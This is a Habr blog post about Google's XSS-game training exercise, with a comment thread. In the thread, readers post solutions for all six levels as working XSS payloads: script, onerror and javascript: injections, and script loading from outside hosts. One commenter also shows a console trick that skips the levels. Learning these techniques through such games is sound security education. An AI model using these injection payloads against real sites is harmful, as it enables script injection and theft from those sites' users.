XSS-game от Google

    Google представил игру, заключающуюся в поиске xss-уязвимостей, c целью распространения информации об этом наиболее опасном и распространенном типе уязвимости. Google так серьезно относится к обнаружению уязвимостей, что платит до $7500 за серьезные xss.



    Ну а игра покажет как выявлять xss, это знание поможет вам предотвращать ошибки в ваших приложениях. Всего в игре 6 уровней, в случае затруднения в выполнении заданий можно воспользоваться подсказками. По прохождению игры обещают тортик.

    Заметка короткая, под кат не убираю, разомните мозги в этот выходной день! Я вот без подсказок осилил только 1-й уровень, с подсказками дошел до 6-го, дальше пока никак.

    Ну-ка, сыграем.
    Поделиться публикацией
    Ой, у вас баннер убежал!

    Ну. И что?
    Реклама
    Комментарии 65
      +2
      С этим фоном я вижу сильные мерцания своего монитора.
        +3
        Черт, теперь я тоже. А сначала не заметил.
          +1
          Нестабильность напряжений? Тест тут:
          www.lagom.nl/lcd-test/inversion.php
          если мерцает в тестах то лучше поменять монитор.
            0
            Менять монитор не путь джедая. Интереснее как исправить подсветку на данном. Желательно с сохранением выбора уровня яркости, либо же сразу выставить не максимальную.
              0
              это проблема не подсветки, а контроллера матрицы (то есть самой матрицы). вылечить нереально.
              подсветку видно на светлых однотонных фонах.
                0
                И правда, грусть в общем. На очень бюджетном ноутбуке такого не наблюдается.
          +6
          в первом уровне
          <script>window.parent.alert(1)</script>
          незачёт :)
            +2
            Можно требовать вознаграждение!
              –4
              Кстати Гугл Хром отправляет сюда www.google.com.ua/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=%3Cscript%3Ewindow.parent.alert(1)%3C%2Fscript%3E если просто ввести в строку поиска. А ведь раньше выполняло так js
                0
                (deleted)
                  0
                  Для того, чтобы это действительно было XSS, надо как-то обойтись без parent. Например, так. Хотя, конечно же, важен не сам вызов alert, а возможность выполнения произвольного кода.
                  +3
                  Секрет, открывать после выполнения!

                  Торт дали, ура!!! Но последнее задание, ИМХО, не корректно.


                    +3
                    А что не так с последним заданием?
                    Скрытый текст
                    https://xss-game.appspot.com/level6/frame#data:text/javascript;base64,YWxlcnQoMSk7
                      +4
                      Нереальное
                      Я не про решение, а про саму суть задания. Не представляю кто мог бы так сделать: одновременно передавать адрес подгружаемого скрипта через URL(???) и запрашивать его напрямую через добавление тега. Причем с какой то искусственной проверкой на http. Причем загрузить в любом случае можно любой ресурс с твоего сервера (??).
                      Т.е. сама по себе задача уже не уровня начального уровня, чтобы выдумать такое. Ну это мое личное мнение.
                        +4
                        Хм, а у меня другой вариант получился.
                        Скрытый текст
                        https://xss-game.appspot.com/level6/frame#//fpaste.org/106147/15457301/raw/
                          +5
                          А вот еще вариант
                          url.match вызывается без модификаторов, Https тоже прокатит.
                            +1
                            А можно просто
                            перед https поставить пробел
                              0
                              У меня это решение не работает.

                              Couldn't load gadget from //fpaste.org/106147/15457301/raw/

                              Мб дело в браузере? FireFox юзаю.
                                0
                                У fpaste.org что-то с SSL-сертификатом, firefox не пропускает поэтому, добавьте его в исключение в новом окне или другой домен попробуйте.
                                  0
                                  Я сначала со своего домена и пробовал, не получилось. ) Решил потестить решение из комментов, удивился что тоже не сработало.
                                    0
                                    Тоже прокололся на //, не учел что у них https =) В итоге удивлялся отчего же скрипт не грузится. Потом попробовал яндексовый share.js подгрузить — заработало.
                                    Появился повод задуматься про подключение SSL на своих сайтах.
                                      0
                                      Можно просто залить js на дропбокс и расшарить публично, он отдает по https и с нужным MIME типом
                                –3
                                А можно проще:
                                Регистр в регулярке не учитывается: одна большая буква и проходит тест.
                                  –2
                                  Так самое простое
                                  Скрытый текст
                                  xss-game.appspot.com/level6/frame#HTTP://path_to_js
                                  с отсутствием i
                                0
                                удалено
                                0
                                Над подсказками им нужно ещё поработать (я сначала прохожу самостоятельно, но потом читаю хинты — просто из любопытства):
                                level 3
                                С чего это они решили, что, как и на предыдущем уровне, не получится использовать <script> и нужно обязательно использовать атрибуты вроде onerror?

                                level 4
                                Не понятно, зачем они упомянули entity — уровень проходится без необходимости что-либо экранировать.

                                level 6
                                Тут я облажался — прочитав выше в комментариях что у людей сложности с последним уровнем мне даже не пришло в голову, что regexp может быть case-sensitive, поэтому уровень сначала прошёл через data:, а уже потом почитав подсказки понял, что всё намного проще.

                                  +2
                                  Ну, учитывая что они хотели этой игрой показать, как легко можно всё хакнуть — они эту цель достигли. Но вообще-то от такой игры хотелось чего-то более сложного/интересного. Когда-то давно проходил разные hack quest-ы, там всё было значительно интереснее. :)
                                    0
                                    Не знаю… Мне как то не очень легко. Я вот на 4м уровне застрял. Помойму оно все таки энкодит данные с GET'a. Никак не могу кавычку поставить у onload startTimer:)
                                      0
                                      Хмм… Не знал, что в js & # 3 9 ; и кавычка это одно и тоже. Всегда считал что ' обрабатывается как набор символов.
                                        +1
                                        Оно одно и тоже не в js, а в html. А js внутри html хранится, потому и работает.
                                          0
                                          Тогда какой смысл от php'ного htmlentities? Если браузер все равно трактует хтмл коды как спец символы?
                                            +1
                                            Дело не в HTML, а именно в JavaScript внутри исполняемых атрибутов. Из-за того, что значение атрибута может ограничивать апострофами или кавычками — стандарт предписывает экранировать эти символы внутри такого атрибута и, соответственно, JS декодирует их обратно.
                                            www.w3.org/TR/html401/appendix/notes.html#notes-specifying-data

                                            В данном случае, пользовательские данные попали непосредственно внутрь атрибута без самого тега, что и является уязвимостью.
                                            htmlentities не спасает от всех уязвимостей на свете. Но и ситуация занятная — дать пользователю возможность указывать только атрибут. Если бы пользователь передавал обычный HTML внутрь, то экранирование бы сработало нормально, так как не сформировался бы тег, заменились бы угловые скобки на < и >
                                              –1
                                              Я не пойму, что вы все там вообще экранируете? 4-й уровень проходится вводом в поле
                                              Скрытый текст
                                              3');alert('
                                              без какого-либо экранирования. ЧЯДНТ?
                                                0
                                                Эмм, экранируем не мы, а гугл, пытаясь, якобы, защититься, гляньте в source.
                                                  –1
                                                  А, понял, шаблонизатор экранирует по правилам для html, и в результате в исходнике страницы иногда можно увидеть entity, что они хинтом и объяснили. Дошло. :)

                                                  BTW, я как раз сегодня узнал о существовании шаблонизаторов, которые экранируют подставляемые значения автоматически определяя правила экранирования из контекста. И мне эта идея резко не понравилась. Ну то есть классно, что они наконец-то дозрели до понимания того, что шаблонизатор должен экранировать по умолчанию. Но вот автоматически определять как именно экранировать — плохая идея! Ничего, ещё года 3-4, глядишь, и это дойдёт. И данный пример неплохо иллюстрирует, почему именно эта идея — плохая.
                                                    0
                                                    Объясните, почему эта идея — плохая? Сейчас используем именно такой шаблонизатор и в атрибуты, в которые можно записать исполняемый JS — он бы сэкранировал все правильно (данный пример бы не прокатил).
                                                    То, что некоторые шаблонизаторы считают все теги — одинаковые, и все атрибуты одинаковыми — это говорит о том, что шаблонизаторы плохие ведь?
                                                      –2
                                                      Мне не нравится сама идея, что шаблонизатор должен понимать формат данных, куда он что-то подставляет. Особенно такой сложный, как html, у которого внутри может оказаться js, css, какой-нить svg, причём внутри html-тегов тоже может оказаться заинлайненный js, css плюс url (параметры которых тоже нужно экранировать).

                                                      Во-первых, меня беспокоят проблемы производительности на разбор формата.

                                                      Во-вторых, когда кусок шаблона вынесен в отдельный файл и подключается в разных местах других шаблонов — его контекст заранее знать невозможно и более того он может оказаться разным — сложно сказать сходу, но как минимум это помешает этот кусок отдельно кешировать.

                                                      В-третьих, я просто не верю, что анализ формата и определение корректного алгоритма экранирования можно реализовать абсолютно без ошибок. Например, откуда ему знать в ситуации вроде href="site.com/path?var1=val1&{{params}}" я планирую передать в params имя одного параметра, или имя=значение одного параметра, или несколько уже заэкранированных пар имя=значение? А как он поймёт, что params нужно экранировать по правилам для url если это значение подставляется где-то внутри js а-ля var url="site.com/path?var1=val1&{{params}}" (подсказка — это он точно понять не сможет, т.к. это просто строка внутри js и понять что в ней именно url никакой алгоритм не осилит — разве что ваш шаблонизатор обзавёлся ИИ)?

                                                      Это с ходу. Возможно, не все мои примеры актуальны, но просто это по определению болото с кучей грабель в самых неожиданных местах, поэтому правильнее всего чтобы шаблонизатор предоставлял разработчику несколько разных видов разделителей вроде {{…}} использующих разные алгоритмы экранирования.

                                                      А если Вы считаете, что в этих особых случаях программист сделает особую обработку — позвольте заранее не согласиться: люди быстро привыкнут, что всё экранируется само собой, и перестанут даже задумываться на эту тему. Поэтому лучше не отучать их об этом задумываться.
                                                        0
                                                        Если контекст указывается явно — все хорошо. Вот, например, как это сделано в Twig; особенно удобно определять контекст autoescape-блоками.
                                                          0
                                                          Если указывается явно — нет проблемы. Я писал именно про автоматическое определение контекста.
                                                          0
                                                          Постараюсь ответить.
                                                          Во-первых, меня беспокоят проблемы производительности на разбор формата.

                                                          Никаких проблем нет, обычный конечный автомат — точно такой же как для любого шаблонизатора.
                                                          Во-вторых, когда кусок шаблона вынесен в отдельный файл и подключается в разных местах других шаблонов — его контекст заранее знать невозможно и более того он может оказаться разным — сложно сказать сходу, но как минимум это помешает этот кусок отдельно кешировать.

                                                          Тоже никаких проблем, просто не нужно разделять один тег и один атрибут по шаблонам.
                                                          В-третьих, я просто не верю, что анализ формата и определение корректного алгоритма экранирования можно реализовать абсолютно без ошибок. Например, откуда ему знать в ситуации вроде href=«site.com/path?var1=val1&{{params}}» я планирую передать в params имя одного параметра, или имя=значение одного параметра, или несколько уже заэкранированных пар имя=значение? А как он поймёт, что params нужно экранировать по правилам для url если это значение подставляется где-то внутри js а-ля var url=«site.com/path?var1=val1&{{params}}» (подсказка — это он точно понять не сможет, т.к. это просто строка внутри js и понять что в ней именно url никакой алгоритм не осилит — разве что ваш шаблонизатор обзавёлся ИИ)?

                                                          У нас экранирование идет после подстановки значений в конкретный атрибут или содержимое тега. Никаких ИИ)
                                                          К тому же, webkit ведь как-то справляется без ошибок правда?)
                                                            +1
                                                            Никаких проблем нет, обычный конечный автомат — точно такой же как для любого шаблонизатора.
                                                            Действительно быстрые шаблонизаторы, которые лично я видел, и которые писал сам — были на регулярных выражениях.
                                                            К тому же, webkit ведь как-то справляется без ошибок правда?)
                                                            Ну, сколько ошибок в современных браузерных движках проще всего увидеть в их баг-трекерах. Но в любом случае, уверяю, описание «без ошибок» и близко не отражает реальность. :)

                                                            Корректный разбор html, со всеми форматами которые могут оказаться внутри странички — это очень сложная задача. Я не утверждаю, что невозможная — браузеры действительно с ней сравляются — но она слишком сложна для реализации в шаблонизаторе ради автоматического определения контекста. Поэтому максимум, что может делать шаблонизатор — использовать упрощённый алгоритм и корректно определять контекст в большинстве случаев. Лично меня «в большинстве случаев» в задачах связанных с безопасностью категорически не устраивает.
                                                            не нужно разделять один тег и один атрибут по шаблонам
                                                            Я имел в виду что-то вроде вынесения в отдельный файл-шаблон, например, приветствия пользователя: Welcome, {{user}}!. С тем, чтобы дальше включать этот шаблон и в шаблоны html-страничек, и в шаблоны email-ов, etc. Причём внутри странички этот шаблон может подключаться так, что его содержимое может вставляться внутрь js-строки, как содержимое тега h2, и как значение атрибута тега (напр. hidden input в форме для вывода приветствия на следующей странице после отправки формы) и как значение параметра url (аналогично назначению hidden input). (Не будем придираться, что передавать текст приветствия юзера параметром на следующую страницу это маразм — суть в том, что содержимое шаблона может оказаться в разных контекстах.)
                                                            У нас экранирование идет после подстановки значений в конкретный атрибут или содержимое тега.
                                                            Как это? Вы что, полноценно разбираете шаблон в синтаксическое дерево, потом экранируете и подставляете значения, а потом переводите дерево обратно в html? Тогда о производительности вообще говорить смысла нет.

                                                            Кроме того, Вы не ответили как шаблонизатор разберётся как правильно экранировать описанные мной случаи с параметрами url.
                                                              0
                                                              Корректный разбор html, со всеми форматами которые могут оказаться внутри странички — это очень сложная задача.

                                                              Это при условии полной свободы, нас вполне устраивают логичные ограничения со стороны шаблонизатора. Это позволяет и логику держать в чистоте и безопасность.

                                                              Я имел в виду что-то вроде вынесения в отдельный файл-шаблон, например, приветствия пользователя: Welcome, {{user}}!.. С тем, чтобы дальше включать этот шаблон и в шаблоны html-страничек, и в шаблоны email-ов, etc. Причём внутри странички этот шаблон может подключаться так, что его содержимое может вставляться внутрь js-строки, как содержимое тега h2

                                                              Ну и что, никаких проблем опять же. Контекст определяется в месте вставки элемента куда-то, а не заранее.
                                                              Вставляем в HTML-атрибут — будет соответствующее экранирование, вставляем просто в HTML — тоже. Вставляем в JS — свое, в письмо — свое. Причем, настраивается не только глобально, но и локально (на уровне элемента-родителя) и на уровне проекта.

                                                              Как это? Вы что, полноценно разбираете шаблон в синтаксическое дерево, потом экранируете и подставляете значения, а потом переводите дерево обратно в html? Тогда о производительности вообще говорить смысла нет.
                                                              Кроме того, Вы не ответили как шаблонизатор разберётся как правильно экранировать описанные мной случаи с параметрами url.

                                                              Нет, дерево мы разбираем до подстановки значений, но значения у нас подставляются не как в шаблонизаторах типа smarty, twig и др. Ближе всего для понимания будет это, только декларативно.
                                                              Соответственно, URL у нас формируется не так, как вы описали, не внутри HTML. Да и вообще все ссылки у нас формируются на основе роутинга и ссылка будет являться объектом, который может внутри себя содержать и регулярку с подстановкой.

                                                              Действительно быстрые шаблонизаторы, которые лично я видел, и которые писал сам — были на регулярных выражениях.

                                                              У нас нет необходимости выдергивать значения из HTML, он просто парсится, как обычное дерево, но с гораздо более эффективными возможностями по его изменению (грубо говоря, массив значений, а не объектов). Эта часть написана на C (расширение PHP). Да и говорить о скорости разбора шаблон нет смысла — лично у нас проект компилируется и все что можно подставляется в этот момент.

                                                              К сожалению, пока у нас нет публичной версии, поэтому, наверное, говорить о скоростях или выгоде бессмысленно, но пока подход, что любой элемент (строка, URL, значение, атрибут, тег) является объектом себя оправдывает, так как позволяет декларативно настраивать типы на всех уровнях.
                                                                0
                                                                Понятно. Ну, звучит вполне здраво, но Ваш шаблонизатор достаточно сильно отличается от традиционных, которые я подразумевал в исходном комментарии.
                                                                  0
                                                                  Это похоже на XSLT. :)
                                                                    0
                                                                    Да, вы верно заметили и у нас есть разработка с использованием XSLT, пока не используемая.
                                                                    А конкретно, для создания web-компонентов, где HTML-компонента задается через XML (по сути XHTML), и для каждого компонента есть XSLT для обработки. На выходе мы имеем возможность создавать любые элементы не только с использованием стандартных тегов, но любых (причем XSD дает нам подсветку синтаксиса).
                                                                    Например, для bootstrap можно создать компоненты: alert, tab, btn и т.д., а в разметке соответственно:
                                                                    <alert type="success">Текст</alert>
                                                                    

                                                                    Это на выходе из трансформации с XSLT превратится в:
                                                                    <div class="alert alert-success"></div>
                                                                    


                                                                    Обычно XSLT используется, как загрузчик данных в шаблон, а так как это очень частая операция, а синтаксис XSLT сложен, то накладные расходы для frontend'а слишком высокие. А web-компонент описывается один раз, к тому же XSLT поддерживается всеми браузерами (*) и языками.
                                                                    Ах, да еще и namespaces из коробки для XML тоже очень удобно и для подсветки и для загрузки нужно библиотеки.
                                        0
                                        Объясните, пожалуйста, почему во втором уровне не работает тег <script>. Тег успешно вставляется, но исполнения кода не происходит… Почему?
                                        0
                                        Круть! Спасибо за ссылку ))
                                          +1
                                          Универсальный рецепт прохождения каждого уровня. Но ваша карма за это пострадает.

                                          Внимание, спойлер
                                          Вмето чего угодно внутри фрейма вставляем
                                          <b onclick="alert('Done. You are the best');">Next level</b>
                                          


                                            0
                                            зачем такие сложности, просто выполняем в консоли
                                            Скрытый текст
                                            postMessage(«success», "*");
                                              –1
                                              Ну что же Вы, в самом-то деле, с такими методами весь азарт пропадает.
                                                +8
                                                И вот так всегда — дают игру по поиску уязвимостей, а все ищут уязвимости в самой игре!
                                                +1
                                                А смысл? На сколько я понимаю, смысл игры показать опасность XSS, а чем опасен ваш способ?
                                                  +1
                                                  Чит на тортик же.
                                                    +1
                                                    Тортик — ложь в этом случае.
                                                0
                                                Слишком просто, как только стало хотя бы немного интересно — все и закончилось. :) Правда, с последним излишне заморочился —
                                                Скрытый текст
                                                ну зато нагуглил rawgit.com/, чтобы по https с правильным content-type отдать. Потом понял, что можно обойтись data. ;)
                                                  +1
                                                  С последним уровнем еще проще:
                                                  Скрытый текст
                                                  Loaded gadget from //www.google.com/jsapi?callback=window.alert
                                                  Скрипт проверяет, чтобы в адресе не было http, ну так схему и необязательно указывать
                                                  +2
                                                  Напомнило как давным давно команда журнала «Хакер» устраивала подобные конкурсы. Было интересно, жаль, что больше не устраивают. А в последнем их конкурсе победителю обещали крутой набор из беспроводной клавиатуры и мыши, вроде, но приза почему то так и не дали.
                                                    –3
                                                    Ну все, не выдержал! Выкладываю свои решения. Только смотрите после того, как пройдете сами.

                                                    Level1
                                                    https://xss-game.appspot.com/level1/frame?query='+">+<script>alert('XSS!')</script>+"'


                                                    Level2
                                                    Тут нужно править Local Storage ключ postDB и смотреть на изменения HTML маркапа в браузере после обновления содержимого чата
                                                    {"posts":[{"message":"</table><img src='http://localhost/1.jpg' onerror='javascript:alert(123)'","date":1401689467145}]}


                                                    Level3
                                                    https://xss-game.appspot.com/level3/frame#4.jpg' onerror='javascript:alert(123)' /><!--


                                                    Level4
                                                    https://xss-game.appspot.com/level4/frame?timer=')/ alert('123


                                                    Level5
                                                    https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('123')


                                                    Level6
                                                    https://xss-game.appspot.com/level6/frame#//dl.dropboxusercontent.com/s/br98ryrw9fq3c4p/check.js

                                                      0
                                                      И к чему эта простыня спойлеров? Задания и так легкие, сверху уже проспойлерили, а вы вот так вот сразу прохождение. Не спортивно!
                                                        0
                                                        Задания действительно легкие, но просто хотелось поделиться своими решениями, хоть они может быть и будут похоже на решения остальных. Совсем не хотел чтобы это выглядело как «не спортивное поведение». Раз это тема информационной безопасности, то было бы классно рассмотреть решения каждого уровня.
                                                          +1
                                                          И в общем-то за решение данных уровней никто не выдает ценных призов или признания. Я к примеру когда увидел статью на хабре, понесся решать задачки и не смотрел в комментарии. Как только решил задачи, пошел читать комментарии, было интересно посмотреть как решали другие. Вот и все. Я не хотел никому навредить или отбить желание решать задачки. В следующий раз буду знать, что выкладывать решения тут не стоит. Извините.
                                                          +1
                                                          Тут нужно править Local Storage ключ postDB и смотреть на изменения HTML маркапа в браузере
                                                          о_О
                                                            –2
                                                            Ну а что тут необычного? Вместо того, чтобы отправлять сообщение в чат, проще править одно сообщение, которое хранится в LocalStorage. В LocalStorage хранится массив объектов сообщений, в начале оно там одно. Вот и можно спокойненько подобрать нужный вектор. При этом обновлять страничку, чтобы приложение чата брало уже измененное сообщение из LocalStorage. Просто мне так было удобнее.

                                                        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                        Самое читаемое